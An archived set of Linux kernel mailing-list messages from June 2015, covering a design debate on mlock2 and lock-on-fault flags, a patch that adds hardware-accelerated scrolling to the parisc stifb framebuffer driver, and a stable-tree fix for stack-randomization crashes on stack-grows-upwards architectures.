References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>
 <5579DFBA.80809@akamai.com>
 <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
 <557ACAFC.90608@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="tsOsTdHNUZQcU9Ye"
X-Trace: ger.gmane.org 1434379452 13046 80.91.229.3 (15 Jun 2015 14:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2015 14:44:12 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jun 15 16:44:06 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Z4VcH-0000JB-W7
	for glka-linux-arch@plane.gmane.org; Mon, 15 Jun 2015 16:44:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756133AbbFOOn7 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 15 Jun 2015 10:43:59 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:41586 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754052AbbFOOn5 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 15 Jun 2015 10:43:57 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 46885287AE;
	Mon, 15 Jun 2015 14:43:56 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 33B452879D;
	Mon, 15 Jun 2015 14:43:56 +0000 (GMT)
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 2C73D2036;
	Mon, 15 Jun 2015 14:43:56 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <557ACAFC.90608@suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28092 gmane.linux.ports.alpha:3135 gmane.linux.kernel:1976707 gmane.linux.ports.mips.general:49096 gmane.linux.ports.parisc:25773 gmane.linux.ports.ppc64.devel:114364 gmane.linux.ports.sparc:21145 gmane.linux.kernel.mm:134332 gmane.linux.kernel.api:12119
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28092>


--tsOsTdHNUZQcU9Ye
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 12 Jun 2015, Vlastimil Babka wrote:

> On 06/11/2015 09:34 PM, Andrew Morton wrote:
> >On Thu, 11 Jun 2015 15:21:30 -0400 Eric B Munson <emunson@akamai.com> wr=
ote:
> >
> >>>Ditto mlockall(MCL_ONFAULT) followed by munlock().  I'm not sure
> >>>that even makes sense but the behaviour should be understood and
> >>>tested.
> >>
> >>I have extended the kselftest for lock-on-fault to try both of these
> >>scenarios and they work as expected.  The VMA is split and the VM
> >>flags are set appropriately for the resulting VMAs.
> >
> >munlock() should do vma merging as well.  I *think* we implemented
> >that.  More tests for you to add ;)
> >
> >How are you testing the vma merging and splitting, btw?  Parsing
> >the profcs files?
> >
> >>>What's missing here is a syscall to set VM_LOCKONFAULT on an
> >>>arbitrary range of memory - mlock() for lock-on-fault.  It's a
> >>>shame that mlock() didn't take a `mode' argument.  Perhaps we
> >>>should add such a syscall - that would make the mmap flag unneeded
> >>>but I suppose it should be kept for symmetry.
> >>
> >>Do you want such a system call as part of this set?  I would need some
> >>time to make sure I had thought through all the possible corners one
> >>could get into with such a call, so it would delay a V3 quite a bit.
> >>Otherwise I can send a V3 out immediately.
> >
> >I think the way to look at this is to pretend that mm/mlock.c doesn't
> >exist and ask "how should we design these features".
> >
> >And that would be:
> >
> >- mmap() takes a `flags' argument: MAP_LOCKED|MAP_LOCKONFAULT.
>=20
> Note that the semantic of MAP_LOCKED can be subtly surprising:
>=20
> "mlock(2) fails if the memory range cannot get populated to guarantee
> that no future major faults will happen on the range.
> mmap(MAP_LOCKED) on the other hand silently succeeds even if the
> range was populated only
> partially."
>=20
> ( from http://marc.info/?l=3Dlinux-mm&m=3D143152790412727&w=3D2 )
>=20
> So MAP_LOCKED can silently behave like MAP_LOCKONFAULT. While
> MAP_LOCKONFAULT doesn't suffer from such problem, I wonder if that's
> sufficient reason not to extend mmap by new mlock() flags that can
> be instead applied to the VMA after mmapping, using the proposed
> mlock2() with flags. So I think instead we could deprecate
> MAP_LOCKED more prominently. I doubt the overhead of calling the
> extra syscall matters here?

We could talk about retiring the MAP_LOCKED flag but I suspect that
would get significantly more pushback than adding a new mmap flag.

Likely that the overhead does not matter in most cases, but presumably
there are cases where it does (as we have a MAP_LOCKED flag today).
Even with the proposed new system calls I think we should have the
MAP_LOCKONFAULT for parity with MAP_LOCKED.

>=20
> >- mlock() takes a `flags' argument.  Presently that's
> >   MLOCK_LOCKED|MLOCK_LOCKONFAULT.
> >
> >- munlock() takes a `flags' arument.  MLOCK_LOCKED|MLOCK_LOCKONFAULT
> >   to specify which flags are being cleared.
> >
> >- mlockall() and munlockall() ditto.
> >
> >
> >IOW, LOCKED and LOCKEDONFAULT are treated identically and independently.
> >
> >Now, that's how we would have designed all this on day one.  And I
> >think we can do this now, by adding new mlock2() and munlock2()
> >syscalls.  And we may as well deprecate the old mlock() and munlock(),
> >not that this matters much.
> >
> >*should* we do this?  I'm thinking "yes" - it's all pretty simple
> >boilerplate and wrappers and such, and it gets the interface correct,
> >and extensible.
>=20
> If the new LOCKONFAULT functionality is indeed desired (I haven't
> still decided myself) then I agree that would be the cleanest way.

Do you disagree with the use cases I have listed or do you think there
is a better way of addressing those cases?

>=20
> >What do others think?

--tsOsTdHNUZQcU9Ye
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVfuSrAAoJELbVsDOpoOa9SqoP/32pn+LLrjk0r2GNhFZF26Ig
182hz7lG8As2Y7a1N+mtpfGq0JmrMbaytwEcmI1BpgI64DNcNOUINEqqaWXNeEBX
idyVOQ1jeGGxDGyHLDNGfC6zlWxKGYPiKaaifSb37+hIQhOxsmXQ8U1E3GVdnRXK
g8uPlztYSH5WN7LluiIEPXN1IPs57ADkoupTmSKzU2C9nnEUVYt9AmOm2Gt49Gmu
F5f8rMGwvoC7WJGI83Xha60W7Fcv4hRoZeud/dspTKJmPrPERQ7kvqgwfTPoDWN+
IvuzwjPSSCKNZie3HzEG7ae3KASKfh2Yat1zqrKZvI1/q+OSNsn/X8VjPcORIgDz
OhzUEkL/4tTv+1a007eoPQEYUNxdgY+ZghOX7iw7OBT5gApUPc4kzwcnjTmK0l8A
FJj6sn627osTIVoVL8ScRRWhY3BgscRhwFW2tBpRUc8GacMYyevfNEpOvX8oh2bv
zdfo70SgsjTVseJb7WOB3TSjoXBgPV/xU0cBnMQZhLnUzdXHjWwm4lYqwRiPJZpO
nAn32DLqbBe4GG+PtThn8Es/uddWOrypGtEaYu7ToYz6qqrLtVeMS5UTmaAijnZK
xwEU889kELmPEg5C4rrfv+ttLUnCMkwLWxD4/fSIaPYLiz3yVIGzlTfUnyEUt8/H
ZxlwoAMcTlbg88oH6jKj
=u99f
-----END PGP SIGNATURE-----

--tsOsTdHNUZQcU9Ye--

From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] stifb: Implement hardware accelerated copyarea
Date: Mon, 15 Jun 2015 20:52:13 +0200
Lines: 114
Approved: news@gmane.org
Message-ID: <557F1EDD.3080504@gmx.de>
References: <679FC99F-317B-4925-A6D8-2F0DB4EC6EBD@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434394349 29611 80.91.229.3 (15 Jun 2015 18:52:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2015 18:52:29 +0000 (UTC)
To: lausgans@gmail.com, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 20:52:22 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z4ZUZ-00022I-D9
	for glpp-linux-parisc@plane.gmane.org; Mon, 15 Jun 2015 20:52:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754548AbbFOSwR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2015 14:52:17 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:51246 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751528AbbFOSwQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2015 14:52:16 -0400
Original-Received: from [192.168.20.60] ([92.203.26.84]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0LyEqr-1Z7odP1jDZ-015YOg; Mon, 15 Jun 2015 20:52:14
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <679FC99F-317B-4925-A6D8-2F0DB4EC6EBD@gmail.com>
X-Provags-ID: V03:K0:+qQES/5FSzL4qsE5gCBn3sDH3DVGq0WLJSynh3RBh8staVA6qeQ
 H/DdlZu0u02IkloAComM9F5XWhzwMPwHdWIPT1+VyDFXiNb3rGuBzP74hrIIrObKO9m16ON
 sv6GLszh43jCM14AuxQyL8pOjvSF3fju2qAKMXNHASgQjgihYdJW0yUj9/FyRqyt3N+e+tt
 PQfL/kV/H0cZquDzGy0JA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:rbr1PcKo1pU=:813YYgb6R1RnxeT+bWXw/f
 BVDB6V5aiU4HRBSZ/XF0K+XGWAfBffK8WPkBh7spGm7QixojJ5kQ45PScbZ9092Lz+bUaDsPp
 QWgNsbYi5AuqsjK2xqLHL70uE3yk+X4RfDvlG+tjEzJ5Llp1Jg15zw8WUdlOW031m5o+wON3+
 TTdU4+2uLDEMNgCC5ElAfC5yrlAoKsfndQJH2SJpH1x3KMcFfrEhELbzEldLkV7nW3H+NgeTY
 U2OddJHI+NNXaaA3m3a1NfaqLGPni+XnaQxk85/y88sLWl+QvXOOGyyyVYJ9BkLfL9rAjNnp7
 l1tuJLlIoLxtmj3QJPlHj9hiWEtNwQQ3tAUA3kfOujjExzw34G02EdT2IuwobSYt2p1XE335R
 lQlKfMg/kQAvTCDfxZIrfPh4Pd5DekBHlTKXfTSouc+8Yrl2VDQh8LockcR/Pj4IF9YYo2oUg
 rxE6tMtSwhhnskKiWNMYX2JXlnT8+oFEGEmJ5Z/pGZmHw5iiK8uoANoOh7U1o/fS43OAEwMMQ
 FiNSZzOACfIp1Gr5zt1ew7QijDvIKv/dm7G+2q9bRnDkbW1gD2Kwuhcwx2YMhaPpOY1Pq7usb
 P4BtWgTq9VkpX2vTzfvi0CpdyySBuZLA6RxYqchLHkz4aKnhvb/v5CjA5wVqfyjipDuAzyvJy
 VYPUbJIWByPsStZD9OcubEhKr9vO2TDjFVQQO+BugXUkGLkyKQGkuuHC+utgzMWCnixY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25774>

On 15.06.2015 07:50, lausgans@gmail.com wrote:
> This patch adds hardware assisted scrolling. The code is based upon the
> following investigation: https://parisc.wiki.kernel.org/index.php/NGLE#Blitter A
> simple 'time ls -la /usr/bin' test shows 1.6x speed increase over soft copy and
> 2.3x increase over FBINFO_READS_FAST (prefer soft copy over screen redraw) on
> Artist framebuffer.

I haven't tested it yet, but that's very cool!
Thanks!

I wonder if adding a BlockTLB (with PA7100LC CPUs) further increases
speed on Artist graphic cards (e.g. in X11)...?

Helge

> Signed-off-by: Alex Ivanov <lausgans@gmail.com>
>
> diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
> index 86621fa..735355b 100644
> --- a/drivers/video/fbdev/stifb.c
> +++ b/drivers/video/fbdev/stifb.c
> @@ -121,6 +121,7 @@ static int __initdata stifb_bpp_pref[MAX_STI_ROMS];
> #define REG_3		0x0004a0
> #define REG_4		0x000600
> #define REG_6		0x000800
> +#define REG_7		0x000804
> #define REG_8		0x000820
> #define REG_9		0x000a04
> #define REG_10		0x018000
> @@ -135,6 +136,8 @@ static int __initdata stifb_bpp_pref[MAX_STI_ROMS];
> #define REG_21		0x200218
> #define REG_22		0x0005a0
> #define REG_23		0x0005c0
> +#define REG_24		0x000808
> +#define REG_25		0x000b00
> #define REG_26		0x200118
> #define REG_27		0x200308
> #define REG_32		0x21003c
> @@ -429,6 +432,9 @@ ARTIST_ENABLE_DISABLE_DISPLAY(struct stifb_info *fb, int enable)
> #define SET_LENXY_START_RECFILL(fb, lenxy) \
> 	WRITE_WORD(lenxy, fb, REG_9)
>
> +#define SETUP_COPYAREA(fb) \
> +	WRITE_BYTE(0, fb, REG_16b1)
> +
> static void
> HYPER_ENABLE_DISABLE_DISPLAY(struct stifb_info *fb, int enable)
> {
> @@ -1004,6 +1010,36 @@ stifb_blank(int blank_mode, struct fb_info *info)
> 	return 0;
> }
>
> +static void
> +stifb_copyarea(struct fb_info *info, const struct fb_copyarea *area)
> +{
> +	struct stifb_info *fb = container_of(info, struct stifb_info, info);
> +
> +	SETUP_COPYAREA(fb);
> +
> +	SETUP_HW(fb);
> +	if (fb->info.var.bits_per_pixel == 32) {
> +		WRITE_WORD(0xBBA0A000, fb, REG_10);
> +
> +		NGLE_REALLY_SET_IMAGE_PLANEMASK(fb, 0xffffffff);
> +	} else {
> +		WRITE_WORD(fb->id == S9000_ID_HCRX ? 0x13a02000 : 0x13a01000, fb, REG_10);
> +
> +		NGLE_REALLY_SET_IMAGE_PLANEMASK(fb, 0xff);
> +	}
> +
> +	NGLE_QUICK_SET_IMAGE_BITMAP_OP(fb,
> +		IBOvals(RopSrc, MaskAddrOffset(0),
> +		BitmapExtent08, StaticReg(1),
> +		DataDynamic, MaskOtc, BGx(0), FGx(0)));
> +
> +	WRITE_WORD(((area->sx << 16) | area->sy), fb, REG_24);
> +	WRITE_WORD(((area->width << 16) | area->height), fb, REG_7);
> +	WRITE_WORD(((area->dx << 16) | area->dy), fb, REG_25);
> +
> +	SETUP_FB(fb);
> +}
> +
> static void __init
> stifb_init_display(struct stifb_info *fb)
> {
> @@ -1069,7 +1105,7 @@ static struct fb_ops stifb_ops = {
> 	.fb_setcolreg	= stifb_setcolreg,
> 	.fb_blank	= stifb_blank,
> 	.fb_fillrect	= cfb_fillrect,
> -	.fb_copyarea	= cfb_copyarea,
> +	.fb_copyarea	= stifb_copyarea,
> 	.fb_imageblit	= cfb_imageblit,
> };
>
> @@ -1258,7 +1294,7 @@ static int __init stifb_init_fb(struct sti_struct *sti, int bpp_pref)
> 	info->fbops = &stifb_ops;
> 	info->screen_base = ioremap_nocache(REGION_BASE(fb,1), fix->smem_len);
> 	info->screen_size = fix->smem_len;
> -	info->flags = FBINFO_DEFAULT;
> +	info->flags = FBINFO_DEFAULT | FBINFO_HWACCEL_COPYAREA;
> 	info->pseudo_palette = &fb->pseudo_palette;
>
> 	/* This has to be done !!! */
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kamal Mostafa <kamal@canonical.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ubuntu.devel.kernel.general
Subject: [3.19.y-ckt stable] Patch "parisc,metag: Fix crashes due to stack randomization on stack-grows-upwards architectures" has been added to staging queue
Date: Mon, 15 Jun 2015 17:22:26 -0700
Lines: 116
Approved: news@gmane.org
Message-ID: <1434414146-15514-1-git-send-email-kamal@canonical.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1434414156 16703 80.91.229.3 (16 Jun 2015 00:22:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2015 00:22:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, James Hogan <james.hogan@imgtec.com>,
	linux-metag@vger.kernel.org, Kamal Mostafa <kamal@canonical.com>,
	kernel-team@lists.ubuntu.com
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 02:22:35 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z4eeA-0008O8-6a
	for glpp-linux-parisc@plane.gmane.org; Tue, 16 Jun 2015 02:22:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751392AbbFPAWc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2015 20:22:32 -0400
Original-Received: from youngberry.canonical.com ([91.189.89.112]:40959 "EHLO
	youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751864AbbFPAWb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2015 20:22:31 -0400
Original-Received: from 1.general.kamal.us.vpn ([10.172.68.52] helo=fourier)
	by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.76)
	(envelope-from <kamal@canonical.com>)
	id 1Z4ee4-0005NN-VF; Tue, 16 Jun 2015 00:22:29 +0000
Original-Received: from kamal by fourier with local (Exim 4.82)
	(envelope-from <kamal@whence.com>)
	id 1Z4ee2-00042m-Nn; Mon, 15 Jun 2015 17:22:26 -0700
X-Mailer: git-send-email 1.9.1
X-Extended-Stable: 3.19
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25775 gmane.linux.kernel.metag:541 gmane.linux.ubuntu.devel.kernel.general:57954
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25775>

This is a note to let you know that I have just added a patch titled

    parisc,metag: Fix crashes due to stack randomization on stack-grows-upwards architectures

to the linux-3.19.y-queue branch of the 3.19.y-ckt extended stable tree 
which can be found at:

    http://kernel.ubuntu.com/git/ubuntu/linux.git/log/?h=linux-3.19.y-queue

This patch is scheduled to be released in version 3.19.8-ckt2.

If you, or anyone else, feels it should not be added to this tree, please 
reply to this email.

For more information about the 3.19.y-ckt tree, see
https://wiki.ubuntu.com/Kernel/Dev/ExtendedStable

Thanks.
-Kamal

------

>From 264f3887a1df6bf17f366be430441c9b8728dd89 Mon Sep 17 00:00:00 2001
From: Helge Deller <deller@gmx.de>
Date: Mon, 11 May 2015 22:01:27 +0200
Subject: parisc,metag: Fix crashes due to stack randomization on
 stack-grows-upwards architectures

commit d045c77c1a69703143a36169c224429c48b9eecd upstream.

On architectures where the stack grows upwards (CONFIG_STACK_GROWSUP=y,
currently parisc and metag only) stack randomization sometimes leads to crashes
when the stack ulimit is set to lower values than STACK_RND_MASK (which is 8 MB
by default if not defined in arch-specific headers).

The problem is, that when the stack vm_area_struct is set up in fs/exec.c, the
additional space needed for the stack randomization (as defined by the value of
STACK_RND_MASK) was not taken into account yet and as such, when the stack
randomization code added a random offset to the stack start, the stack
effectively got smaller than what the user defined via rlimit_max(RLIMIT_STACK)
which then sometimes leads to out-of-stack situations and crashes.

This patch fixes it by adding the maximum possible amount of memory (based on
STACK_RND_MASK) which theoretically could be added by the stack randomization
code to the initial stack size. That way, the user-defined stack size is always
guaranteed to be at minimum what is defined via rlimit_max(RLIMIT_STACK).

This bug is currently not visible on the metag architecture, because on metag
STACK_RND_MASK is defined to 0 which effectively disables stack randomization.

The changes to fs/exec.c are inside an "#ifdef CONFIG_STACK_GROWSUP"
section, so it does not affect other platformws beside those where the
stack grows upwards (parisc and metag).

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: James Hogan <james.hogan@imgtec.com>
Cc: linux-metag@vger.kernel.org
Signed-off-by: Kamal Mostafa <kamal@canonical.com>
---
 arch/parisc/include/asm/elf.h   | 4 ++++
 arch/parisc/kernel/sys_parisc.c | 3 +++
 fs/exec.c                       | 3 +++
 3 files changed, 10 insertions(+)

diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index 3391d06..78c9fd3 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,6 +348,10 @@ struct pt_regs;	/* forward declaration... */

 #define ELF_HWCAP	0

+#define STACK_RND_MASK	(is_32bit_task() ? \
+				0x7ff >> (PAGE_SHIFT - 12) : \
+				0x3ffff >> (PAGE_SHIFT - 12))
+
 struct mm_struct;
 extern unsigned long arch_randomize_brk(struct mm_struct *);
 #define arch_randomize_brk arch_randomize_brk
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index e1ffea2..5aba01a 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -77,6 +77,9 @@ static unsigned long mmap_upper_limit(void)
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;

+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }

diff --git a/fs/exec.c b/fs/exec.c
index 4617a4e..be18722 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -659,6 +659,9 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;

+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;
--
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?UTF-8?B?4oGjIOKBow==?= <lausgans@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] stifb: Implement hardware accelerated copyarea
Date: Tue, 16 Jun 2015 15:11:41 +0300
Lines: 135
Approved: news@gmane.org
Message-ID: <CANoehN_ySy=pAbiN33LeXMsqh=vNZgPrDUjDEJQs-1jy8nfUdQ@mail.gmail.com>
References: <679FC99F-317B-4925-A6D8-2F0DB4EC6EBD@gmail.com>
	<557F1EDD.3080504@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1434456704 13598 80.91.229.3 (16 Jun 2015 12:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2015 12:11:44 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 14:11:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z4piR-0005ww-1K
	for glpp-linux-parisc@plane.gmane.org; Tue, 16 Jun 2015 14:11:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752377AbbFPMLm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2015 08:11:42 -0400
Original-Received: from mail-qc0-f175.google.com ([209.85.216.175]:35766 "EHLO
	mail-qc0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752124AbbFPMLl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2015 08:11:41 -0400
Original-Received: by qcsf5 with SMTP id f5so3339909qcs.2
        for <linux-parisc@vger.kernel.org>; Tue, 16 Jun 2015 05:11:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=IN3OoqzaNfl8Bq1vKjAvc+UhzBY++RvTUSU+K2m/Wkg=;
        b=Ykci3KDr+oRY02QGOR2SQzNKJgeN+L2Nt/VDgi8rVWhFmugX9AePOzSpMZlzb6tw30
         OvKLIk3pEjqAm+Mvf7FA/EtCpycXQ3EHp6RAcPKtku+9Jun2XS5mU9AUGOlmrp7g71aX
         3FThljJecqkNMAzvMsKyRz9hwjL7InISnzkEJdhnoou3n/jYM2K1RFWc0GCpBsA4E7t3
         gP+jqdr8QBNjAoi1W2es0arzfLS2Y5eFBIGhlUIXF1qXJmtc3Aa4RUoO7VfBq2jrQT7S
         6ejJiqARHK1Da/udC27k8qXrOlvabPY46WEUpkQgeCJcZRh5fynoujPD1WMyRynIzD7L
         3tJw==
X-Received: by 10.140.93.199 with SMTP id d65mr35060qge.27.1434456701106; Tue,
 16 Jun 2015 05:11:41 -0700 (PDT)
Original-Received: by 10.96.195.9 with HTTP; Tue, 16 Jun 2015 05:11:41 -0700 (PDT)
In-Reply-To: <557F1EDD.3080504@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25776
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25776>

Helge Deller <deller@gmx.de>:
> On 15.06.2015 07:50, lausgans@gmail.com wrote:
>>
>> This patch adds hardware assisted scrolling. The code is based upon the
>> following investigation:
>> https://parisc.wiki.kernel.org/index.php/NGLE#Blitter A
>> simple 'time ls -la /usr/bin' test shows 1.6x speed increase over soft
>> copy and
>> 2.3x increase over FBINFO_READS_FAST (prefer soft copy over screen redraw)
>> on
>> Artist framebuffer.
>
>
> I haven't tested it yet, but that's very cool!
> Thanks!
>
> I wonder if adding a BlockTLB (with PA7100LC CPUs) further increases
> speed on Artist graphic cards (e.g. in X11)...?

Thanks for pointing me to this facility, Helge! I hadn't been aware of it.
"Standard Text Interface For Graphics Devices" document says we should
benefit from using it.
And an Artist ROM has both frame buffer and MMIO regions marked as
desirable for Block TLB. I hope other STI devices are ready for this
too.

Alex

>
> Helge
>
>> Signed-off-by: Alex Ivanov <lausgans@gmail.com>
>>
>> diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
>> index 86621fa..735355b 100644
>> --- a/drivers/video/fbdev/stifb.c
>> +++ b/drivers/video/fbdev/stifb.c
>> @@ -121,6 +121,7 @@ static int __initdata stifb_bpp_pref[MAX_STI_ROMS];
